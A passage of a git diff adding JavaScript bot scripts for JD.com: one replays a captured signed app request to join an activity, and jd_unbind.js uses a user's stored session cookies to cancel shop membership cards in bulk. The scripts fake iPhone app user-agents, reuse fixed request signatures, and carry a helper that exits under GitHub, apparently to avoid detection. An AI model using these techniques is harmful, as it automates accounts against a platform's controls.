'uuid=8888888&client=apple&clientVersion=9.5.2&st=1619194362037&sign=1f829aab2583c598c1b6b1feeec5fe05&sv=101&body=%7B%22url%22%3A%22https%3A//mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct%3Fid%3DtclTeamAct002%26user_id%3D10299171%26comeResource%3D10%26bizExtString%3D4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1%22%2C%22id%22%3A%22%22%7D', + headers: { + Host: "api.m.jd.com", + accept: "*/*", + "user-agent": "JD4iPhone/167638 (iPhone; iOS 13.7; Scale/3.00)", + "accept-language": + "zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6", + "content-type": "application/x-www-form-urlencoded", + Cookie: cookie, + }, + }; + return new Promise((resolve) => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data["token"]; + // console.log($.token); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function setCookie() { + return new Promise((resolve) => { + $.post(taskUrl('front/setMixNick', `strTMMixNick=${$.token}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`${$.name} API请求失败,请检查网路重试`); + } else { + let setCookie = resp.headers[sck]; + let dfs = setCookie.toString().match(/dfs=(.*?);/)[1]; + let jwt = setCookie.toString().match(/jwt=(.*?);/)[1]; + cookie = `dfs=${dfs}; jwt=${jwt}; IsvToken=${$.token}`; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} + +function taskUrl(functionId, body) { + return { + url: `https://mpdz-isv.isvjcloud.com/${functionId}`, + body: `userId=10299171&source=01&${body}`, + headers: { + Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + 'Cookie': cookie, + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + Connection: "keep-alive", + Host: "mpdz-isv.isvjcloud.com", + "User-Agent": 'jdapp;iPhone;9.5.0;14.0.1;370c564f3ec5abbbe14f1f9f46ac73742fd56f58;network/wifi;ADID/4F7F967C-F9D8-41DE-902A-D87F8D45113A;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/33553535;supportBestPay/0;appBuild/167638;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + } +} + +function taskGetUrl() { + return { + url: `https://mpdz-isv.isvjcloud.com/ql/front/tcl002/loadTclAct?id=tclTeamAct002&user_id=10299171&comeResource=10&bizExtString=4C8602ED441A318612CD57B4A16EB59EE8AF00C05E1043CAA3E9C10B6DA615700C9463CE3D33670238160230F84D490EE29440149504E2EB1EAD11840F8E2980DDDA672BF446E2FCC0D1D6B4E52826D1`, + headers: { + 'Host': 'mpdz-isv.isvjcloud.com', + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + 'Accept-Language': 'zh-cn', + 'Cookie': cookie, + "Accept-Encoding": "gzip, deflate, br", + Connection: "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_unbind.js b/activity/jd_unbind.js new file mode 100644 index 0000000..805afb2 --- /dev/null +++ b/activity/jd_unbind.js @@ -0,0 +1,264 @@ +/* +注销京东会员卡 +是注销京东已开的店铺会员,不是京东plus会员 +查看已开店铺会员入口:我的=>我的钱包=>卡包 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==========Quantumult X========== +[task_local] +#注销京东会员卡 +55 23 * * 6 jd_unbind.js, tag=注销京东会员卡, img-url= https://raw.githubusercontent.com/58xinian/icon/master/jd_unbind.png, enabled=true +=======Loon======== +[Script] +cron "55 23 * * 6" script-path=jd_unbind.js,tag=注销京东会员卡 +========Surge========== +注销京东会员卡 = type=cron,cronexp="55 23 * * 6",wake-system=1,timeout=3600,script-path=jd_unbind.js +=======小火箭===== +注销京东会员卡 = type=cron,script-path=jd_unbind.js, cronexpr="10 23 * * 6", timeout=3600, enable=true + */ +const $ = new Env('注销京东会员卡'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +const notify = $.isNode() ? require('../sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnbindCardNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let cardPageSize = 200;// 运行一次取消多少个会员卡。数字0表示不注销任何会员卡 +let stopCards = `京东PLUS会员`;//遇到此会员卡跳过注销,多个使用&分开 +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】注销京东会员卡失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.unsubscribeCount = 0 + $.cardList = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdUnbind(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdUnbind() { + await getCards() + await unsubscribeCards() +} +async function unsubscribeCards() { + let count = 0 + for (let item of $.cardList) { + if (count === cardPageSize * 1){ + console.log(`已达到设定数量:${cardPageSize * 1}`) + break + } + if (stopCards && (item.brandName && stopCards.includes(item.brandName))) { + console.log(`匹配到了您设定的会员卡【${item.brandName}】不再进行取消关注会员卡`) + continue; + } + console.log(`去注销会员卡【${item.brandName}】`) + let res = await unsubscribeCard(item.brandId); + if (res['success']) { + if (res['busiCode'] === '200') { + count++; + $.unsubscribeCount ++ + } + } + await $.wait(1000) + } +} +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } +} +function getCards() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}client.action?functionId=getWalletReceivedCardList`, + body: 'body=%7B%22version%22%3A1580659200%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&rfs=0000&scope=01&sign=aa00f715800e252fcebcb11573f4a505&st=1608612985755&sv=102', + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.cardsTotalNum = data.result.cardList ? data.result.cardList.length : 0; + $.cardList = data.result.cardList || [] + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +function unsubscribeCard(vendorId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}unBindCard?appid=jd_shop_member&functionId=unBindCard&body=%7B%22venderId%22:%22${vendorId}%22%7D&clientVersion=1.0.0&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'origin': 'https://shopmember.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`, + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + console.log(data.message) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + $.UN_BIND_NUM = $.isNode() ? (process.env.UN_BIND_CARD_NUM ? process.env.UN_BIND_CARD_NUM : cardPageSize) : ($.getdata('UN_BIND_CARD_NUM') ? $.getdata('UN_BIND_CARD_NUM') : cardPageSize); + $.UN_BIND_STOP_CARD = $.isNode() ? (process.env.UN_BIND_STOP_CARD ? process.env.UN_BIND_STOP_CARD : stopCards) : ($.getdata('UN_BIND_STOP_CARD') ? $.getdata('UN_BIND_STOP_CARD') : stopCards); + if ($.UN_BIND_STOP_CARD) { + if ($.UN_BIND_STOP_CARD.indexOf('&') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('&'); + } else if ($.UN_BIND_STOP_CARD.indexOf('@') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('@'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\n'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\\n'); + } else { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split(); + } + } + cardPageSize = $.UN_BIND_NUM; + stopCards = $.UN_BIND_STOP_CARD; + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new 